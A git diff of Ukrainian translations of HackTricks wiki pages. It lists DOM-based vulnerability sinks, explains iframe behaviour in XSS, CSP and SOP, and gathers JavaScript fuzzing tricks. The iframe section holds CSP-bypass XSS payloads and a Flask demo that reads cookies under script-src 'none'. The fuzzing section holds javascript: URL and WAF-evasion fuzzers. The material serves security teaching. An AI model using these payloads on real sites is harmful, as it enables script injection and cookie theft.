З: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
**Вразливості маніпулювання посиланнями на основі DOM** виникають, коли скрипт записує **дані, які може керувати зловмисник, в цільовий об'єкт навігації** на поточній сторінці, такий як клікабельне посилання або URL відправки форми.
**Вразливості маніпуляції посиланнями на основі DOM** виникають, коли скрипт записує **дані, що контролюються атакуючим, до цільового навігаційного елемента** на поточній сторінці, наприклад, до клікабельного посилання або URL для відправки форми.
Sinks:
```javascript
someDOMElement.href
someDOMElement.src
someDOMElement.action
```
### Маніпулювання запитом Ajax
### Маніпуляція запитами Ajax
З: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
**Уразливості маніпулювання запитом Ajax** виникають, коли скрипт записує **дані, які може контролювати зловмисник, у запит Ajax**, який видається за допомогою об'єкта `XmlHttpRequest`.
**Вразливості маніпуляції запитами Ajax** виникають, коли скрипт записує **дані, контрольовані зловмисником, у запит Ajax**, який надсилається за допомогою об'єкта `XmlHttpRequest`.
Витоки:
Синки:
```javascript
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
@ -187,11 +195,11 @@ $.globalEval()
```
### Локальна маніпуляція шляхом до файлу
З: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
**Вразливості локальної маніпуляції шляхом до файлу** виникають, коли скрипт передає **дані, які може керувати зловмисник, до API обробки файлів** як параметр `filename`. Цю вразливість може бути використано зловмисником для створення URL-адреси, яка, якщо її відвідає інший користувач, може призвести до того, що **браузер користувача відкриє або запише довільний локальний файл**.
**Вразливості локальної маніпуляції шляхом до файлу** виникають, коли скрипт передає **дані, контрольовані атакуючим, до API обробки файлів** як параметр `filename`. Цю вразливість може використати атакуючий для створення URL, який, якщо його відвідає інший користувач, може призвести до **відкриття або запису довільного локального файлу в браузері користувача**.
Витоки:
Sinks:
```javascript
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
@ -201,43 +209,43 @@ FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
```
### Клієнтський SQL-ін'єкція
### Client-Side SQl injection
З: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
**Вразливості клієнтського SQL-ін'єкції** виникають, коли скрипт включає **дані, які може керувати зловмисник, в клієнтський SQL-запит небезпечним способом**.
**Вразливості SQL-ін'єкцій на стороні клієнта** виникають, коли скрипт включає **дані, контрольовані зловмисником, у SQL-запит на стороні клієнта ненадійним способом**.
Sinks:
```javascript
executeSql()
```
### Маніпулювання зберіганням HTML5
### HTML5-storage manipulation
З: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
**Вразливості маніпулювання зберіганням HTML5** виникають, коли скрипт **зберігає дані, які може контролювати зловмисник, у зберіганні HTML5 веб-переглядача** (`localStorage` або `sessionStorage`). Хоча ця дія не є вбудованою вразливістю безпеки, вона стає проблематичною, якщо додаток подальше **читає збережені дані та обробляє їх небезпечним чином**. Це може дозволити зловмиснику використовувати механізм зберігання для проведення інших атак на основі DOM, таких як міжсайтовий скриптінг та впровадження JavaScript.
**Вразливості маніпуляції з HTML5-сховищем** виникають, коли скрипт **зберігає дані, контрольовані атакуючим, у HTML5-сховищі веб-браузера** (`localStorage` або `sessionStorage`). Хоча ця дія не є вразливістю безпеки сама по собі, вона стає проблематичною, якщо програма потім **читає збережені дані та обробляє їх ненадійно**. Це може дозволити атакуючому використовувати механізм зберігання для проведення інших атак на основі DOM, таких як міжсайтове скриптування та ін'єкція JavaScript.
Витоки:
Sinks:
```javascript
sessionStorage.setItem()
localStorage.setItem()
```
### Внедрення XPath
### XPath injection
З: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
**Уразливості DOM-based XPath-injection** виникають, коли скрипт включає **дані, які може керувати зловмисник, у запит XPath**.
**Вразливості DOM-орієнтованої XPath-ін'єкції** виникають, коли скрипт включає **дані, контрольовані зловмисником, у запит XPath**.
Споживачі:
Sinks:
```javascript
document.evaluate()
someDOMElement.evaluate()
```
### Вразливості внедрення JSON на клієнтському боці
### Client-side JSON injection
З: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
**Вразливості внедрення JSON на стороні DOM** виникають, коли скрипт включає **дані, які може керувати зловмисник, в рядок, який розбирається як структура даних JSON, а потім обробляється додатком**.
**Вразливості DOM-ін'єкції JSON** виникають, коли скрипт включає **дані, контрольовані зловмисником, у рядок, який розбирається як структура даних JSON, а потім обробляється додатком**.
Sinks:
```javascript
@ -245,23 +253,23 @@ JSON.parse()
jQuery.parseJSON()
$.parseJSON()
```
### Маніпулювання веб-повідомленнями
### Web-message manipulation
З: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
**Вразливості веб-повідомлень** виникають, коли скрипт надсилає **дані, які може контролювати зловмисник, як веб-повідомлення до іншого документа** всередині браузера. **Приклад** вразливого маніпулювання веб-повідомленнями можна знайти на [Академії з безпеки веб-сайтів PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
**Вразливості веб-повідомлень** виникають, коли скрипт надсилає **дані, контрольовані зловмисником, як веб-повідомлення до іншого документа** в браузері. **Приклад** вразливої маніпуляції з веб-повідомленнями можна знайти в [Web Security Academy PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
Витоки:
Sinks:
Метод `postMessage()` для надсилання веб-повідомлень може призвести до вразливостей, якщо обробник подій для отримання повідомлень обробляє вхідні дані небезпечним способом.
Метод `postMessage()` для надсилання веб-повідомлень може призвести до вразливостей, якщо обробник подій для отримання повідомлень обробляє вхідні дані ненадійним способом.
### Маніпулювання даними DOM
### DOM-data manipulation
З: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
**Вразливості маніпулювання даними DOM** виникають, коли скрипт записує **дані, які може контролювати зловмисник, в поле в межах DOM**, яке використовується в межах видимого користувацького інтерфейсу або логіки на клієнтському боці. Цю вразливість може використовувати зловмисник для створення URL-адреси, яку, якщо відвідати іншому користувачеві, може змінити вигляд або поведінку користувацького інтерфейсу на клієнтському боці.
**Вразливості маніпуляції з даними DOM** виникають, коли скрипт записує **дані, контрольовані зловмисником, у поле в DOM**, яке використовується в видимому інтерфейсі або логіці на стороні клієнта. Цю вразливість може експлуатувати зловмисник, щоб створити URL, який, якщо його відвідає інший користувач, може змінити вигляд або поведінку інтерфейсу на стороні клієнта.
Витоки:
Sinks:
```javascript
scriptElement.src
scriptElement.text
@ -286,13 +294,13 @@ document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
```
### Відмова в обслуговуванні
### Denial of Service
З: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
**Уразливості DOM-обумовленої відмови в обслуговуванні** виникають, коли скрипт передає **дані, які може керувати зловмисник, небезпечно до проблемної API платформи**. Це включає API, які, коли викликаються, можуть призвести до того, що комп'ютер користувача буде витрачати **надмірні обсяги CPU або дискового простору**. Такі уразливості можуть мати значні побічні ефекти, такі як обмеження функціональності веб-сайту браузером шляхом відхилення спроб зберігання даних в `localStorage` або припинення роботи завантажених скриптів.
**Уразливості відмови в обслуговуванні на основі DOM** виникають, коли скрипт передає **дані, контрольовані зловмисником, небезпечно до проблемного API платформи**. Це включає API, які, коли їх викликають, можуть призвести до споживання **надмірної кількості процесорного часу або дискового простору** комп'ютером користувача. Такі уразливості можуть мати значні побічні ефекти, такі як обмеження функціональності веб-сайту браузером шляхом відхилення спроб зберегти дані в `localStorage` або завершення зайнятих скриптів.
Витоки:
Sinks:
```javascript
requestFileSystem()
RegExp()
@ -303,14 +311,17 @@ RegExp()
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# Iframes у XSS, CSP та SOP
# Iframes in XSS, CSP and SOP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iframes у XSS
## Iframes in XSS
Є 3 способи вказати вміст вбудованої сторінки:
Є 3 способи вказати вміст iframe-сторінки:
* Через `src`, вказуючи URL (URL може бути з різних джерел або з одного джерела)
* Через `src`, вказуючи вміст за допомогою протоколу `data:`
* Через `src`, вказуючи URL (URL може бути крос-доменним або того ж домену)
* Через `src`, вказуючи вміст, використовуючи протокол `data:`
* Через `srcdoc`, вказуючи вміст
**Доступ до змінних батьківського та дочірнього елементів**
**Доступ до змінних батьківського та дочірнього контексту**
```html
<html>
<script>
@ -51,17 +54,17 @@ var secret="child secret";
alert(parent.secret)
</script>
```
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що запобігає цьому). **Батько не зможе отримати доступ до змінної `secret` всередині будь-якого iframe** і **тільки iframes if2 & if3 (які вважаються однаковими сайтами) можуть отримати доступ до секрету** у вихідному вікні.\
Зверніть увагу, що if4 вважається мати `null` походження.
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). **батьківський контекст не зможе отримати доступ до змінної `secret` всередині жодного iframe** і **тільки iframes if2 та if3 (які вважаються такими ж сайтами) можуть отримати доступ до секрету** в оригінальному вікні.\
Зверніть увагу, що if4 вважається таким, що має `null` походження.
### Iframes з CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %}
Зверніть увагу, що в наступних обхідних методах відповідь на сторінку, вбудовану в iframe, не містить жодного заголовка CSP, який запобігає виконанню JS.
Зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.
{% endhint %}
Значення `self` для `script-src` не дозволить виконання JS-коду за допомогою протоколу `data:` або атрибуту `srcdoc`.\
Однак навіть значення `none` CSP дозволить виконання iframes, які вставляють URL (повний або лише шлях) в атрибут `src`.\
Значення `self` для `script-src` не дозволить виконання JS коду, використовуючи протокол `data:` або атрибут `srcdoc`.\
Однак навіть значення `none` для CSP дозволить виконання iframes, які вказують URL (повний або лише шлях) в атрибуті `src`.\
Отже, можливо обійти CSP сторінки за допомогою:
```html
<html>
@ -77,14 +80,14 @@ var secret = "31337s3cr37t";
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Зверніть увагу, що **попередня CSP дозволяє виконання лише вбудованого скрипту**.\
Проте **будуть виконані лише скрипти `if1` та `if2`, але лише `if1` зможе отримати доступ до батьківського секрету**.
Зверніть увагу, що **попередній CSP дозволяє виконання лише вбудованого скрипту**.\
Однак, **будуть виконані лише скрипти `if1` та `if2`, але лише `if1` зможе отримати доступ до секрету батьківського елемента**.
![](<../../.gitbook/assets/image (627) (1) (1).png>)
![](<../../.gitbook/assets/image (372).png>)
Отже, можливо **обійти CSP, якщо ви можете завантажити файл JS на сервер та завантажити його через iframe, навіть з `script-src 'none'`**. Це також **потенційно можна зробити, зловживаючи точкою входу JSONP на тому ж сайті**.
Отже, можливо **обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
Ви можете протестувати це за допомогою наступного сценарію, де кукі вкрадено навіть з `script-src 'none'`. Просто запустіть додаток та отримайте до нього доступ через свій браузер:
Ви можете протестувати це за наступним сценарієм, де куки викрадаються навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
```python
import flask
from flask import Flask
@ -104,7 +107,7 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Інші Пейлоади, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
### Інші корисні навантаження, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
@ -115,20 +118,20 @@ app.run()
```
### Iframe sandbox
Вміст всередині iframe може бути підданий додатковим обмеженням за допомогою атрибута `sandbox`. За замовчуванням цей атрибут не застосовується, що означає відсутність обмежень.
Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута `sandbox`. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.
При використанні атрибута `sandbox` накладаються кілька обмежень:
Коли використовується, атрибут `sandbox` накладає кілька обмежень:
- Вміст розглядається так, ніби він походить з унікального джерела.
- Будь-яка спроба відправити форми блокується.
- Виконання скриптів заборонено.
- Доступ до певних API вимкнено.
- Він запобігає посиланням взаємодіяти з іншими контекстами перегляду.
- Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги не дозволяється.
- Навігація верхнього рівня контексту перегляду вмісту самим вмістом блокується.
- Функції, які спрацьовують автоматично, наприклад відтворення відео або автоматичне фокусування елементів форми, блокуються.
* Вміст розглядається так, ніби він походить з унікального джерела.
* Будь-яка спроба надсилання форм блокується.
* Виконання скриптів заборонено.
* Доступ до певних API вимкнено.
* Запобігає взаємодії посилань з іншими контекстами перегляду.
* Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги заборонено.
* Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
* Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
Значення атрибута може бути залишено пустим (`sandbox=""`), щоб застосувати всі вищезазначені обмеження. З альтернативи, його можна встановити як список значень, розділених пробілом, які звільняють iframe від певних обмежень.
Значення атрибута можна залишити порожнім (`sandbox=""`), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
@ -152,14 +155,17 @@ app.run()
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Ви працюєте в **кібербезпецівській компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,37 @@
# Цілочисельний переповн
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
Перевірте:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Різноманітні трюки JS та відповідна інформація
# Misc JS Tricks & Relevant Info
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпецівській компанії**? Хочете побачити **рекламу вашої компанії на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Fuzzing JavaScript
## Javascript Fuzzing
### Дійсні символи коментарів JS
### Valid JS Comment Chars
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -65,7 +68,7 @@ log.push([i,j])
}
console.log(log)//[35,33],[47,47]
```
### Дійсні символи нового рядка JS
### Дійсні символи нових рядків JS
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
@ -87,7 +90,7 @@ console.log(`[${err}]`,j,cmd);
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
```
### Дійсні JS пробіли в виклику функції
### Дійсні пробіли JS у виклику функції
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
@ -121,7 +124,7 @@ console.log(log) //34,39,47,96
```
### **Surrogate Pairs BF**
Ця техніка не буде дуже корисною для XSS, але вона може бути корисною для обхідних захистів WAF. Цей код Python отримує на вхід 2 байти і шукає замісні пари, у яких перший байт є останнім байтом високої замісної пари, а останній байт - останнім байтом низької замісної пари.
Ця техніка не буде дуже корисною для XSS, але може бути корисною для обходу захисту WAF. Цей код на python приймає на вхід 2 байти і шукає сурогатні пари, які мають перший байт як останній байт високої сурогатної пари і останній байт як останній байт низької сурогатної пари.
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@ -132,12 +135,7 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
Додаткова інформація:
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### `javascript{}:` Протокол Fuzzing
### `javascript{}:` Протокол Фаззінг
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[];
@ -160,7 +158,7 @@ document.body.append(anchor)
// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>
```
### Пошук по URL-адресах
### URL Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
@ -186,7 +184,7 @@ log.push(i);
}
console.log(log) //9,10,13,47,92
```
### HTML Фазинг
### HTML Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
@ -204,27 +202,27 @@ console.log(log)//33,45,62
```
## **Аналіз атрибутів**
